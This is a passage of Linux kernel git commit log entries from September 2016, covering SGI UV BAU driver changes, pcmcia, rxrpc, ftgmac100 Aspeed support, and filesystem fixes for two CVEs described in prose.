write_payload_tail is not an abstracted BAU function since it is an operation specific to pre-UV4 versions. Then we must switch on the UV version to control its usage, for which we use uvhub_version rather than is_uv*_hub because it is quicker/more concise. Signed-off-by: Andrew Banman Acked-by: Thomas Gleixner Acked-by: Mike Travis Acked-by: Dimitri Sivanich Acked-by: Thomas Gleixner Cc: Linus Torvalds Cc: Peter Zijlstra Cc: akpm@linux-foundation.org Cc: rja@sgi.com Link: http://lkml.kernel.org/r/1474474161-265604-10-git-send-email-abanman@sgi.com Signed-off-by: Ingo Molnar arch/x86/platform/uv/tlb_uv.c | 16 ++++++++++++---- 1 file changed, 12 insertions(+), 4 deletions(-) commit e879c1124a6c5c3367f20a254909605e7ee938c1 Author: Andrew Banman Date: Wed Sep 21 11:09:19 2016 -0500 x86/platform/uv/BAU: Disable software timeout on UV4 hardware Software timeouts are not currently supported on BAU for UV4. Instead, the BAU will rely on hardware-level fairness protocols to determine broadcast timeouts. Do not call enable_timeouts or calculate_destination_timeout on UV4. These functions write to pre-UV4 MMRs so they generate error messages on UV4. Signed-off-by: Andrew Banman Acked-by: Thomas Gleixner Acked-by: Mike Travis Acked-by: Dimitri Sivanich Acked-by: Thomas Gleixner Cc: Linus Torvalds Cc: Peter Zijlstra Cc: akpm@linux-foundation.org Cc: rja@sgi.com Link: http://lkml.kernel.org/r/1474474161-265604-9-git-send-email-abanman@sgi.com Signed-off-by: Ingo Molnar arch/x86/platform/uv/tlb_uv.c | 7 +++++-- 1 file changed, 5 insertions(+), 2 deletions(-) commit 58d4ab46f21e7e800a7597f271a23ec602796247 Author: Andrew Banman Date: Wed Sep 21 11:09:18 2016 -0500 x86/platform/uv/BAU: Populate ->uvhub_version with UV4 version information Signed-off-by: Andrew Banman Acked-by: Thomas Gleixner Acked-by: Mike Travis Acked-by: Dimitri Sivanich Acked-by: Thomas Gleixner Cc: Linus Torvalds Cc: Peter Zijlstra Cc: akpm@linux-foundation.org Cc: rja@sgi.com Link: http://lkml.kernel.org/r/1474474161-265604-8-git-send-email-abanman@sgi.com Signed-off-by: Ingo Molnar arch/x86/platform/uv/tlb_uv.c | 4 +++- 1 file changed, 3 insertions(+), 1 deletion(-) commit 21e3f12fc0e12181102ad0400bcb50bc7a027106 Author: Andrew Banman Date: Wed Sep 21 11:09:17 2016 -0500 x86/platform/uv/BAU: Use generic function pointers Convert the use of UV version-specific functions to their abstracted counterparts. Signed-off-by: Andrew Banman Acked-by: Thomas Gleixner Acked-by: Mike Travis Acked-by: Dimitri Sivanich Acked-by: Thomas Gleixner Cc: Linus Torvalds Cc: Peter Zijlstra Cc: akpm@linux-foundation.org Cc: rja@sgi.com Link: http://lkml.kernel.org/r/1474474161-265604-7-git-send-email-abanman@sgi.com Signed-off-by: Ingo Molnar arch/x86/platform/uv/tlb_uv.c | 26 +++++++++++++------------- 1 file changed, 13 insertions(+), 13 deletions(-) commit 5e4f96fe2a61c759d5d47f8112813618805c85a0 Author: Andrew Banman Date: Wed Sep 21 11:09:16 2016 -0500 x86/platform/uv/BAU: Add generic function pointers Many BAU functions have different implementations depending on the UV version. Rather than switching on the uvhub_version throughout the driver, we can define a set of operations for each version. This is especially beneficial for UV4, which will require many new MMR read/write functions. Currently, the set of abstracted functions are the same for UV1, UV2, and UV3. The functions were chosen because each one will have a different implementation for UV4. Other functions will be added as needed to handle new implementations or to cleanup the existing differences between UV1, UV2, and UV3, i.e. read_status and wait_completion. Signed-off-by: Andrew Banman Acked-by: Thomas Gleixner Acked-by: Mike Travis Acked-by: Dimitri Sivanich Acked-by: Thomas Gleixner Cc: Linus Torvalds Cc: Peter Zijlstra Cc: akpm@linux-foundation.org Cc: rja@sgi.com Link: http://lkml.kernel.org/r/1474474161-265604-6-git-send-email-abanman@sgi.com Signed-off-by: Ingo Molnar arch/x86/include/asm/uv/uv_bau.h | 11 +++++++++++ arch/x86/platform/uv/tlb_uv.c | 19 +++++++++++++++++++ 2 files changed, 30 insertions(+) commit 60e1c842c7ea3dd6a65660864554565cc737dd86 Author: Andrew Banman Date: Wed Sep 21 11:09:15 2016 -0500 x86/platform/uv/BAU: Convert uv_physnodeaddr() use to uv_gpa_to_offset() The BAU driver should use the functions provided by uv_hub.h rather than its own implementations. uv_physnodeaddr converts vaddrs to paddrs for BAU MMR fields, but this is done better by uv_gpa_to_offset. Signed-off-by: Andrew Banman Acked-by: Thomas Gleixner Acked-by: Mike Travis Acked-by: Dimitri Sivanich Acked-by: Thomas Gleixner Cc: Linus Torvalds Cc: Peter Zijlstra Cc: akpm@linux-foundation.org Cc: rja@sgi.com Link: http://lkml.kernel.org/r/1474474161-265604-5-git-send-email-abanman@sgi.com Signed-off-by: Ingo Molnar arch/x86/include/asm/uv/uv_bau.h | 2 -- arch/x86/platform/uv/tlb_uv.c | 4 ++-- 2 files changed, 2 insertions(+), 4 deletions(-) commit d2a57afa53f3fdf9f68d1f4240ace85a7d20ca20 Author: Andrew Banman Date: Wed Sep 21 11:09:14 2016 -0500 x86/platform/uv/BAU: Clean up pq_init() The payload queue first MMR requires the physical memory address and hub GNODE of where the payload queue resides in memory, but the associated variables are named as if the PNODE were used. Rename gnode-related variables and clarify the definitions of the payload queue head, last, and tail pointers. Signed-off-by: Andrew Banman Acked-by: Thomas Gleixner Acked-by: Mike Travis Acked-by: Dimitri Sivanich Acked-by: Thomas Gleixner Cc: Linus Torvalds Cc: Peter Zijlstra Cc: akpm@linux-foundation.org Cc: rja@sgi.com Link: http://lkml.kernel.org/r/1474474161-265604-4-git-send-email-abanman@sgi.com Signed-off-by: Ingo Molnar arch/x86/include/asm/uv/uv_bau.h | 2 +- arch/x86/platform/uv/tlb_uv.c | 19 ++++++++----------- 2 files changed, 9 insertions(+), 12 deletions(-) commit efa59ab3e7526650265f0fd9696ef8be8d88ec13 Author: Andrew Banman Date: Wed Sep 21 11:09:13 2016 -0500 x86/platform/uv/BAU: Clean up and update printks Replace all uses of printk with the appropriate pr_*() function. Signed-off-by: Andrew Banman Acked-by: Thomas Gleixner Acked-by: Mike Travis Acked-by: Dimitri Sivanich Acked-by: Thomas Gleixner Cc: Linus Torvalds Cc: Peter Zijlstra Cc: akpm@linux-foundation.org Cc: rja@sgi.com Link: http://lkml.kernel.org/r/1474474161-265604-3-git-send-email-abanman@sgi.com Signed-off-by: Ingo Molnar arch/x86/platform/uv/tlb_uv.c | 26 +++++++++++++------------- 1 file changed, 13 insertions(+), 13 deletions(-) commit 67492c86b33db0a8a056c72293d4802b37ac8ac6 Author: Andrew Banman Date: Wed Sep 21 11:09:12 2016 -0500 x86/platform/uv/BAU: Clean up vertical alignment Fix whitespace on blocks of code to be vertically aligned. Signed-off-by: Andrew Banman Acked-by: Thomas Gleixner Acked-by: Mike Travis Acked-by: Dimitri Sivanich Acked-by: Thomas Gleixner Cc: Linus Torvalds Cc: Peter Zijlstra Cc: akpm@linux-foundation.org Cc: rja@sgi.com Link: http://lkml.kernel.org/r/1474474161-265604-2-git-send-email-abanman@sgi.com Signed-off-by: Ingo Molnar arch/x86/platform/uv/tlb_uv.c | 64 +++++++++++++++++++++---------------------- 1 file changed, 32 insertions(+), 32 deletions(-) commit baad92e34458fc051735c769437ab33719ebb2ef Merge: f43ea76 7d1e042 Author: Ingo Molnar Date: Thu Sep 22 11:15:38 2016 +0200 Merge branch 'linus' into x86/platform, to pick up fixes Signed-off-by: Ingo Molnar commit 46a41b512f6800b531e94bdf5f1ca0e226492d91 Author: Wei Yongjun Date: Wed Sep 21 15:12:05 2016 +0000 HID: alps: fix error return code in alps_input_configured() Fix to return a negative error code from the error handling case instead of 0, as done elsewhere in this function. While at it, remove redundant input_free_device(NULL) call. [jkosina@suse.cz: ammend changelog] Signed-off-by: Wei Yongjun Reviewed-by: Benjamin Tissoires Signed-off-by: Jiri Kosina drivers/hid/hid-alps.c | 5 +++-- 1 file changed, 3 insertions(+), 2 deletions(-) commit 04fd4cb0b098789725d04e9d4a7e7dda373b1121 Author: Kai-Heng Feng Date: Mon Sep 19 15:41:39 2016 +0800 HID: alps: fix stick device not working after resume The stick device does not work after resume, add U1_SP_ABS_MODE flag can make the device work after resume. This has been discovered by pure guesswork, based on how the existing code uses U1_TP_ABS_MODE flag on both initialization and resume. I also tested the the patch on an ALPS touchpad without stick device, did not notice any side effect on suspend/resume, so I made the U1_SP_ABS_MODE flag mandatory. [jkosina@suse.cz: made changelog more verbose] Signed-off-by: Kai-Heng Feng Signed-off-by: Jiri Kosina drivers/hid/hid-alps.c | 4 ++-- 1 file changed, 2 insertions(+), 2 deletions(-) commit 030b533c4fd4d2ec3402363323de4bb2983c9cee Author: Jan Kara Date: Thu May 26 17:21:32 2016 +0200 fs: Avoid premature clearing of capabilities Currently, notify_change() clears capabilities or IMA attributes by calling security_inode_killpriv() before calling into ->setattr. Thus it happens before any other permission checks in inode_change_ok() and user is thus allowed to trigger clearing of capabilities or IMA attributes for any file he can look up e.g. by calling chown for that file. This is unexpected and can lead to user DoSing a system. Fix the problem by calling security_inode_killpriv() at the end of inode_change_ok() instead of from notify_change(). At that moment we are sure user has permissions to do the requested change. References: CVE-2015-1350 Reviewed-by: Christoph Hellwig Signed-off-by: Jan Kara fs/attr.c | 20 ++++++++++++++------ 1 file changed, 14 insertions(+), 6 deletions(-) commit 31051c85b5e2aaaf6315f74c72a732673632a905 Author: Jan Kara Date: Thu May 26 16:55:18 2016 +0200 fs: Give dentry to inode_change_ok() instead of inode inode_change_ok() will be resposible for clearing capabilities and IMA extended attributes and as such will need dentry. Give it as an argument to inode_change_ok() instead of an inode. Also rename inode_change_ok() to setattr_prepare() to better relect that it does also some modifications in addition to checks. Reviewed-by: Christoph Hellwig Signed-off-by: Jan Kara Documentation/filesystems/porting | 4 ++-- drivers/staging/lustre/lustre/llite/llite_lib.c | 2 +- fs/9p/vfs_inode.c | 2 +- fs/9p/vfs_inode_dotl.c | 2 +- fs/adfs/inode.c | 2 +- fs/affs/inode.c | 2 +- fs/attr.c | 15 +++++++++------ fs/btrfs/inode.c | 2 +- fs/ceph/inode.c | 2 +- fs/cifs/inode.c | 4 ++-- fs/ecryptfs/inode.c | 2 +- fs/exofs/inode.c | 2 +- fs/ext2/inode.c | 2 +- fs/ext4/inode.c | 2 +- fs/f2fs/file.c | 2 +- fs/fat/file.c | 2 +- fs/fuse/dir.c | 2 +- fs/gfs2/inode.c | 2 +- fs/hfs/inode.c | 2 +- fs/hfsplus/inode.c | 2 +- fs/hostfs/hostfs_kern.c | 2 +- fs/hpfs/inode.c | 2 +- fs/hugetlbfs/inode.c | 2 +- fs/jffs2/fs.c | 2 +- fs/jfs/file.c | 2 +- fs/kernfs/inode.c | 2 +- fs/libfs.c | 2 +- fs/logfs/file.c | 2 +- fs/minix/file.c | 2 +- fs/ncpfs/inode.c | 2 +- fs/nfsd/nfsproc.c | 8 +++----- fs/nilfs2/inode.c | 2 +- fs/ntfs/inode.c | 2 +- fs/ocfs2/dlmfs/dlmfs.c | 2 +- fs/ocfs2/file.c | 2 +- fs/omfs/file.c | 2 +- fs/orangefs/inode.c | 2 +- fs/overlayfs/inode.c | 2 +- fs/proc/base.c | 2 +- fs/proc/generic.c | 2 +- fs/proc/proc_sysctl.c | 2 +- fs/ramfs/file-nommu.c | 2 +- fs/reiserfs/inode.c | 2 +- fs/sysv/file.c | 2 +- fs/ubifs/file.c | 2 +- fs/udf/file.c | 2 +- fs/ufs/inode.c | 2 +- fs/utimes.c | 4 ++-- fs/xfs/xfs_iops.c | 10 ++++------ include/linux/fs.h | 2 +- mm/shmem.c | 2 +- 51 files changed, 67 insertions(+), 68 deletions(-) commit 62490330769c1ce5dcba3f1f3e8f4005e9b797e6 Author: Jan Kara Date: Thu May 26 17:12:41 2016 +0200 fuse: Propagate dentry down to inode_change_ok() To avoid clearing of capabilities or security related extended attributes too early, inode_change_ok() will need to take dentry instead of inode. Propagate it down to fuse_do_setattr(). Acked-by: Miklos Szeredi Reviewed-by: Christoph Hellwig Signed-off-by: Jan Kara fs/fuse/dir.c | 7 ++++--- fs/fuse/file.c | 2 +- fs/fuse/fuse_i.h | 2 +- 3 files changed, 6 insertions(+), 5 deletions(-) commit fd5472ed44683cf593322a2ef54b9a7675dc780a Author: Jan Kara Date: Thu May 26 16:10:38 2016 +0200 ceph: Propagate dentry down to inode_change_ok() To avoid clearing of capabilities or security related extended attributes too early, inode_change_ok() will need to take dentry instead of inode. ceph_setattr() has the dentry easily available but __ceph_setattr() is also called from ceph_set_acl() where dentry is not easily available. Luckily that call path does not need inode_change_ok() to be called anyway. So reorganize functions a bit so that inode_change_ok() is called only from paths where dentry is available. Reviewed-by: Christoph Hellwig Acked-by: Jeff Layton Signed-off-by: Jan Kara fs/ceph/acl.c | 5 +++++ fs/ceph/inode.c | 19 +++++++++++-------- 2 files changed, 16 insertions(+), 8 deletions(-) commit 69bca80744eef58fa155e8042996b968fec17b26 Author: Jan Kara Date: Thu May 26 14:46:43 2016 +0200 xfs: Propagate dentry down to inode_change_ok() To avoid clearing of capabilities or security related extended attributes too early, inode_change_ok() will need to take dentry instead of inode. Propagate dentry down to functions calling inode_change_ok(). This is rather straightforward except for xfs_set_mode() function which does not have dentry easily available. Luckily that function does not call inode_change_ok() anyway so we just have to do a little dance with function prototypes. Acked-by: Dave Chinner Reviewed-by: Christoph Hellwig Signed-off-by: Jan Kara fs/xfs/xfs_file.c | 2 +- fs/xfs/xfs_inode.c | 2 +- fs/xfs/xfs_ioctl.c | 2 +- fs/xfs/xfs_iops.c | 94 ++++++++++++++++++++++++++++++++++++------------------ fs/xfs/xfs_iops.h | 3 +- 5 files changed, 68 insertions(+), 35 deletions(-) commit 073931017b49d9458aa351605b43a7e34598caef Author: Jan Kara Date: Mon Sep 19 17:39:09 2016 +0200 posix_acl: Clear SGID bit when setting file permissions When file permissions are modified via chmod(2) and the user is not in the owning group or capable of CAP_FSETID, the setgid bit is cleared in inode_change_ok(). Setting a POSIX ACL via setxattr(2) sets the file permissions as well as the new ACL, but doesn't clear the setgid bit in a similar way; this allows to bypass the check in chmod(2). Fix that. References: CVE-2016-7097 Reviewed-by: Christoph Hellwig Reviewed-by: Jeff Layton Signed-off-by: Jan Kara Signed-off-by: Andreas Gruenbacher fs/9p/acl.c | 40 +++++++++++++++++----------------------- fs/btrfs/acl.c | 6 ++---- fs/ceph/acl.c | 6 ++---- fs/ext2/acl.c | 12 ++++-------- fs/ext4/acl.c | 12 ++++-------- fs/f2fs/acl.c | 6 ++---- fs/gfs2/acl.c | 12 +++--------- fs/hfsplus/posix_acl.c | 4 ++-- fs/jffs2/acl.c | 9 ++++----- fs/jfs/acl.c | 6 ++---- fs/ocfs2/acl.c | 10 ++++------ fs/orangefs/acl.c | 15 +++++---------- fs/posix_acl.c | 31 +++++++++++++++++++++++++++++++ fs/reiserfs/xattr_acl.c | 8 ++------ fs/xfs/xfs_acl.c | 13 ++++--------- include/linux/posix_acl.h | 1 + 16 files changed, 89 insertions(+), 102 deletions(-) commit 4a5d67d7346619f4a45b5d6f7a496db2e0e8545d Author: Russell King Date: Wed Aug 31 08:49:47 2016 +0100 pcmcia: soc_common: add driver-data pointer Add a driver-data pointer so that low level drivers can add additional data to the soc_common pcmcia socket structure. Signed-off-by: Russell King drivers/pcmcia/soc_common.h | 1 + 1 file changed, 1 insertion(+) commit 5805271d908aa34912265dba41bcb902588e0ff7 Author: Russell King Date: Wed Aug 31 11:28:19 2016 +0100 pcmcia: soc_common: add support for voltage sense GPIOs Add support for the voltage sense GPIOs which are wired up on some platforms. Signed-off-by: Russell King drivers/pcmcia/soc_common.c | 6 +++++- drivers/pcmcia/soc_common.h | 4 +++- 2 files changed, 8 insertions(+), 2 deletions(-) commit c8f9ce556ba2fca6b9abdfac508afb9905aac6b8 Author: Russell King Date: Wed Aug 31 08:49:46 2016 +0100 pcmcia: soc_common: constify pcmcia_low_level ops pointer Constify the pcmcia_low_level operation pointer to soc_pcmcia_init_one() which has no need to modify it. Signed-off-by: Russell King drivers/pcmcia/soc_common.c | 2 +- drivers/pcmcia/soc_common.h | 2 +- 2 files changed, 2 insertions(+), 2 deletions(-) commit fb8c9959a3e2e4a28f58d9a9d056d633a3386524 Author: Russell King Date: Wed Aug 31 08:49:46 2016 +0100 pcmcia: soc_common: switch to a per-socket cpufreq notifier Switch to a per-socket cpufreq notifier rather than a global notifier. This allows each socket to be self-contained. Signed-off-by: Russell King drivers/pcmcia/soc_common.c | 77 ++++++++++++++------------------------------- drivers/pcmcia/soc_common.h | 3 ++ 2 files changed, 26 insertions(+), 54 deletions(-) commit ac61b6001a636ab9aa954b5f9a996056cd8519f4 Author: Russell King Date: Wed Aug 31 08:49:46 2016 +0100 pcmcia: soc_common: add support for Vcc and Vpp regulators Add support for handling supply regulators in the soc_common code. This allows us to separate out the board specifics for setting voltages from the PCMCIA code. We detect when setting a voltage fails, and report this fact - some platforms have fixed-voltage supplies (eg, for CF sockets at 3.3V) and we need to ignore attempts to configure for 5V, as per the existing board specific drivers. Signed-off-by: Russell King drivers/pcmcia/soc_common.c | 37 ++++++++++++++++++++++++++++++++++++- drivers/pcmcia/soc_common.h | 11 +++++++++++ 2 files changed, 47 insertions(+), 1 deletion(-) commit a1d0500261e788f9b1d068e3167b2a77ad0abfc4 Author: Russell King Date: Wed Aug 31 08:49:46 2016 +0100 pcmcia: soc_common: add CF socket state helper Add a helper to get the voltage state of CF sockets, where the voltage sense pins are not wired up. Switch assabet and cerf to use this helper. Signed-off-by: Russell King drivers/pcmcia/sa1100_assabet.c | 9 +-------- drivers/pcmcia/sa1100_cerf.c | 9 +-------- drivers/pcmcia/soc_common.c | 12 ++++++++++++ drivers/pcmcia/soc_common.h | 2 ++ 4 files changed, 16 insertions(+), 16 deletions(-) commit 6ac95d821216f3baab16821a893d52ab385824be Author: Russell King Date: Wed Aug 31 08:49:46 2016 +0100 pcmcia: soc_common: restore previous socket state on error If an attempt to set a socket state returns an error, restore the previous socket state. If restoring the previous socket state fails, warn about this. This allows us to have simple error handling in the socket state configuration handlers - there is no need for every handler implementation to manually undo the updates, which can be complex when regulators are involved. Signed-off-by: Russell King drivers/pcmcia/soc_common.c | 14 ++++++++++---- 1 file changed, 10 insertions(+), 4 deletions(-) commit 535e0abc0534b139b067d496bb93663acffb72ce Author: Russell King Date: Wed Aug 31 08:49:45 2016 +0100 pcmcia: soc_common: add support for reset and bus enable GPIOs Add support to soc_common for controlling reset and bus enable GPIOs from within the generic soc_common layer, rather than having individual drivers having to perform this themselves. Signed-off-by: Russell King drivers/pcmcia/soc_common.c | 16 ++++++++++++++++ drivers/pcmcia/soc_common.h | 3 +++ 2 files changed, 19 insertions(+) commit 7bfe49785b28931297d9e6e811f88732914f8ff3 Author: Russell King Date: Wed Aug 31 08:49:45 2016 +0100 pcmcia: soc_common: request legacy detect GPIO with active low Request the legacy card detect signal with the active low property and remove our own negation of the detection value. This allows us to use the firmware-defined polarities rather than hard-coding it into the driver. Signed-off-by: Russell King drivers/pcmcia/soc_common.c | 13 ++++++++----- 1 file changed, 8 insertions(+), 5 deletions(-) commit a4941191235e0fee2dd8bad3b7c61478f229c962 Author: Russell King Date: Wed Aug 31 11:17:50 2016 +0100 pcmcia: soc_common: ignore invalid interrupts If gpiod_to_irq() returns an invalid interrupt, we should not try to use it as an interrupt number. Signed-off-by: Russell King drivers/pcmcia/soc_common.c | 10 ++++++---- 1 file changed, 6 insertions(+), 4 deletions(-) commit 45ca7536d4f9e803c27be113b17c4cdaa12cc960 Author: Russell King Date: Wed Aug 31 08:49:45 2016 +0100 pcmcia: soc_common: switch to using gpio_descs Switch to using the gpiod_* consumer API rather than the legacy API. Signed-off-by: Russell King drivers/pcmcia/soc_common.c | 49 +++++++++++++++++++++++++++++++++++---------- drivers/pcmcia/soc_common.h | 3 +++ 2 files changed, 41 insertions(+), 11 deletions(-) commit 59ecfefad53ce39f880a9c8b503fe99235f4b94d Author: Russell King Date: Sun Sep 4 21:50:47 2016 +0100 pcmcia: soc_common: use devm_gpio_request_one() Use devm_gpio_request_one() to request the GPIOs so we can avoid manual clean up these gpio resources. Signed-off-by: Russell King drivers/pcmcia/soc_common.c | 12 ++++-------- 1 file changed, 4 insertions(+), 8 deletions(-) commit fc943f67773487bb85131273f39b5f183caafe95 Author: David Howells Date: Thu Sep 22 00:29:32 2016 +0100 rxrpc: Reduce the number of PING ACKs sent We don't want to send a PING ACK for every new incoming call as that just adds to the network traffic. Instead, we send a PING ACK to the first three that we receive and then once per second thereafter. This could probably be made adjustable in future. Signed-off-by: David Howells net/rxrpc/call_event.c | 2 +- net/rxrpc/input.c | 7 +++++-- 2 files changed, 6 insertions(+), 3 deletions(-) commit 0d4b103c008ac9f6f438d2618c155f6e868e5a67 Author: David Howells Date: Thu Sep 22 00:29:31 2016 +0100 rxrpc: Reduce the number of ACK-Requests sent Reduce the number of ACK-Requests we set on DATA packets that we're sending to reduce network traffic. We set the flag on odd-numbered DATA packets to start off the RTT cache until we have at least three entries in it and then probe once per second thereafter to keep it topped up. This could be made tunable in future. Note that from this point, the RXRPC_REQUEST_ACK flag is set on DATA packets as we transmit them and not stored statically in the sk_buff. Signed-off-by: David Howells net/rxrpc/ar-internal.h | 1 + net/rxrpc/output.c | 13 +++++++++++-- net/rxrpc/peer_object.c | 1 + net/rxrpc/sendmsg.c | 2 -- 4 files changed, 13 insertions(+), 4 deletions(-) commit cdd0766d7da19085e88df86d1e5e21d9fe3d374f Merge: 524605e edcd692 Author: David S. Miller Date: Thu Sep 22 03:31:22 2016 -0400 Merge branch 'ftgmac100-ast2500-support' Joel Stanley says: ==================== ftgmac100 support for ast2500 This series adds support to the ftgmac100 driver for the Aspeed ast2400 and ast2500 SoCs. In particular, they ensure the driver works correctly on the ast2500 where the MAC block has seen some changes in register layout. They have been tested on ast2400 and ast2500 systems with the NCSI stack and with a directly attached PHY. V2 reworks the two patches relating to PHYSTS_CHG into the one patch that disables the interrupt instead of playing with interrupt sensitivity. I kept patch 4 'net/faraday: Clear stale interrupts' which was first introduced to clear the stale PHYSTS_CHG interrupt, as it helps keep us safe from unhygienic (vendor) bootloaders. ==================== Signed-off-by: David S. Miller commit edcd692fe4816ba6cb240b7a1d8b984ee7082763 Author: Joel Stanley Date: Thu Sep 22 08:35:03 2016 +0930 net/faraday: Mask out PHYSTS_CHG interrupt The PHYSTS_CHG (the ftgmac100's PHY IRQ) is telling the system to go look at the PHY registers for a link status change. The interrupt was causing issues on Aspeed SoC where some board designs had an active high configuration, some active low, and in some cases repurposed for other functions. When misconfigured Linux would chew 100% of CPU cycles servicing interrupts: [ 20.280000] ftgmac100 1e660000.ethernet eth0: [ISR] = 0x200: PHYSTS_CHG [ 20.280000] ftgmac100 1e660000.ethernet eth0: [ISR] = 0x200: PHYSTS_CHG [ 20.280000] ftgmac100 1e660000.ethernet eth0: [ISR] = 0x200: PHYSTS_CHG [ 20.300000] ftgmac100 1e660000.ethernet eth0: [ISR] = 0x200: PHYSTS_CHG While in the ftgmac100 IP can be configured for high, low and edge sensitivity the current driver always polls the PHY, so we chose to mask out the interrupt. See https://patchwork.ozlabs.org/patch/672099/ for more discussion. Signed-off-by: Joel Stanley Signed-off-by: David S. Miller drivers/net/ethernet/faraday/ftgmac100.c | 10 +++------- drivers/net/ethernet/faraday/ftgmac100.h | 1 + 2 files changed, 4 insertions(+), 7 deletions(-) commit e07dc63ba22df2d8bc931821b22938d4ce37a934 Author: Joel Stanley Date: Thu Sep 22 08:35:02 2016 +0930 net/faraday: Configure old MDIO interface on Aspeed SoCs The Aspeed SoCs have a new MDIO interface as an option in the G4 and G5 SoCs. The old one is still available, so select it in order to remain compatible with the ftgmac100 driver. Signed-off-by: Joel Stanley Signed-off-by: David S. Miller drivers/net/ethernet/faraday/ftgmac100.c | 9 +++++++++ drivers/net/ethernet/faraday/ftgmac100.h | 5 +++++ 2 files changed, 14 insertions(+) commit 08c9c126004e999f0c05b369d1e0cc757e6040cc Author: Gavin Shan Date: Thu Sep 22 08:35:01 2016 +0930 net/faraday: Clear stale interrupts There is stale interrupt (PHYSTS_CHG in ISR, bit#6 in 0x0) from the bootloader (uboot) when enabling the MAC. The stale interrupts aren't part of kernel and should be cleared. This clears the stale interrupts in ISR (0x0) when enabling the MAC. Signed-off-by: Gavin Shan Signed-off-by: Joel Stanley Signed-off-by: David S. Miller drivers/net/ethernet/faraday/ftgmac100.c | 6 ++++++ 1 file changed, 6 insertions(+) commit 2a0ab8ebbec634127987fc8dbbd09a7fd7274e3d Author: Joel Stanley Date: Thu Sep 22 08:35:00 2016 +0930 net/faraday: Adapt for Aspeed SoCs The RXDES and TXDES registers bits in the ftgmac100 indicates EDO{R,T}R at bit position 15 for the Faraday Tech IP. However, the version of this IP present in the Aspeed SoCs has these bits at position 30 in the registers. It appers that ast2400 SoCs support both positions, with the 15th bit marked as reserved but still functional. In the ast2500 this bit is reused for another function, so we need a work around. This was confirmed with engineers from Aspeed that using bit 30 is correct for both the ast2400 and ast2500 SoCs. Signed-off-by: Joel Stanley Signed-off-by: David S. Miller drivers/net/ethernet/faraday/ftgmac100.c | 13 ++++++++++--- 1 file changed, 10 insertions(+), 3 deletions(-) commit 7906a4da0ef845d01e76f2187c23cc71ae00fa1d Author: Andrew Jeffery Date: Thu Sep 22 08:34:59 2016 +0930 net/faraday: Make EDO{R,T}R bits configurable These bits are #defined at a fixed location. In order to support future hardware that has chosen to move these bits around move the bits into a member of the struct ftgmac100. Signed-off-by: Andrew Jeffery Signed-off-by: Joel Stanley Signed-off-by: David S. Miller drivers/net/ethernet/faraday/ftgmac100.c | 40 +++++++++++++++++++++----------- drivers/net/ethernet/faraday/ftgmac100.h | 2 -- 2 files changed, 26 insertions(+), 16 deletions(-) commit ada66b54c44add8702612940a08d077b4d6ecd0e Author: Andrew Jeffery Date: Thu Sep 22 08:34:58 2016 +0930 net/faraday: Separate rx page storage from rxdesc The ftgmac100 hardware revision in e.g. the Aspeed AST2500 no longer reserves all bits in RXDES#2 but instead uses the bottom 16 bits to store MAC frame metadata. Avoid corruption by shifting struct page pointers out to their own member in struct ftgmac100. Signed-off-by: Andrew Jeffery Signed-off-by: Joel Stanley Signed-off-by: David S. Miller drivers/net/ethernet/faraday/ftgmac100.c | 25 ++++++++++++++++++------- 1 file changed, 18 insertions(+), 7 deletions(-) commit 50235c4b5a2fb9a9690f02cd1dea6ca047d7f79e Author: David Howells Date: Thu Sep 22 00:29:31 2016 +0100 rxrpc: Obtain RTT data by requesting ACKs on DATA packets In addition to sending a PING ACK to gain RTT data, we can set the RXRPC_REQUEST_ACK flag on a DATA packet and get a REQUESTED-ACK ACK. The ACK packet contains the serial number of the packet it is in response to, so we can look through the Tx buffer for a matching DATA packet. This requires that the data packets be stamped with the time of transmission as a ktime rather than having the resend_at time in jiffies. This further requires the resend code to do the resend determination in ktimes and convert to jiffies to set the timer. Signed-off-by: David Howells net/rxrpc/ar-internal.h | 7 +++---- net/rxrpc/call_event.c | 19 +++++++++---------- net/rxrpc/input.c | 35 +++++++++++++++++++++++++++++++++++ net/rxrpc/misc.c | 6 ++++-- net/rxrpc/output.c | 7 +++++-- net/rxrpc/sendmsg.c | 1 - net/rxrpc/sysctl.c | 2 +- 7 files changed, 57 insertions(+), 20 deletions(-) commit 77f2efcbdd7133466060198e02c6e8a170c3cd14 Author: David Howells Date: Thu Sep 22 00:29:01 2016 +0100 rxrpc: Add ktime_sub_ms() Add a ktime_sub_ms() to go with ktime_add_ms() and co. for use in AF_RXRPC RTT determination. Signed-off-by: David Howells include/linux/ktime.h | 5 +++++ 1 file changed, 5 insertions(+) commit 7aa51da7c88d42cc0bb85ab7d01429fbd4e51282 Author: David Howells Date: Thu Sep 22 00:29:31 2016 +0100 rxrpc: Expedite ping response transmission Expedite the transmission of a response to a PING ACK by sending it from sendmsg if one is pending. We're most likely to see a PING ACK during the client call Tx phase as the other side may use it to determine a number of parameters, such as the client's receive window size, the RTT and whether the client is doing slow start (similar to RFC5681). If we don't expedite it, it's left to the background processing thread to transmit. Signed-off-by: David Howells net/rxrpc/sendmsg.c | 4 ++++ 1 file changed, 4 insertions(+) commit 8e83134db4ecb77a1dc3390b60ddeea840a5afbc Author: David Howells Date: Thu Sep 22 00:29:31 2016 +0100 rxrpc: Send pings to get RTT data Send a PING ACK packet to the peer when we get a new incoming call from a peer we don't have a record for. The PING RESPONSE ACK packet will tell us the following about the peer: (1) its receive window size (2) its MTU sizes (3) its support for jumbo DATA packets (4) if it supports slow start (similar to RFC 5681) (5) an estimate of the RTT This is necessary because the peer won't normally send us an ACK until it gets to the Rx phase and we send it a packet, but we would like to know some of this information before we start sending packets. A pair of tracepoints are added so that RTT determination can be observed. Signed-off-by: David Howells net/rxrpc/ar-internal.h | 7 +++++-- net/rxrpc/input.c | 48 +++++++++++++++++++++++++++++++++++++++++++++++- net/rxrpc/misc.c | 11 ++++++----- net/rxrpc/output.c | 22 ++++++++++++++++++++++ 4 files changed, 80 insertions(+), 8 deletions(-) commit 524605e5ba5a897fb0a8c29398ed049100fe80aa Author: Wei Yongjun Date: Wed Sep 21 15:09:16 2016 +0000 cxgb4: Convert to use simple_open() Remove an open coded simple_open() function and replace file operations references to the function with simple_open() instead. Generated by: scripts/coccinelle/api/simple_open.cocci Signed-off-by: Wei Yongjun Signed-off-by: David S. Miller drivers/net/ethernet/chelsio/cxgb4/cxgb4_debugfs.c | 8 +------- 1 file changed, 1 insertion(+), 7 deletions(-) commit a084ab33543cfa07033f91161978b626a9d9bd57 Author: Wei Yongjun Date: Wed Sep 21 15:05:05 2016 +0000 net: dsa: qca8k: use mdio_module_driver to simplify the code mdio_module_driver() makes the code simpler by eliminating boilerplate code. Signed-off-by: Wei Yongjun Signed-off-by: David S. Miller 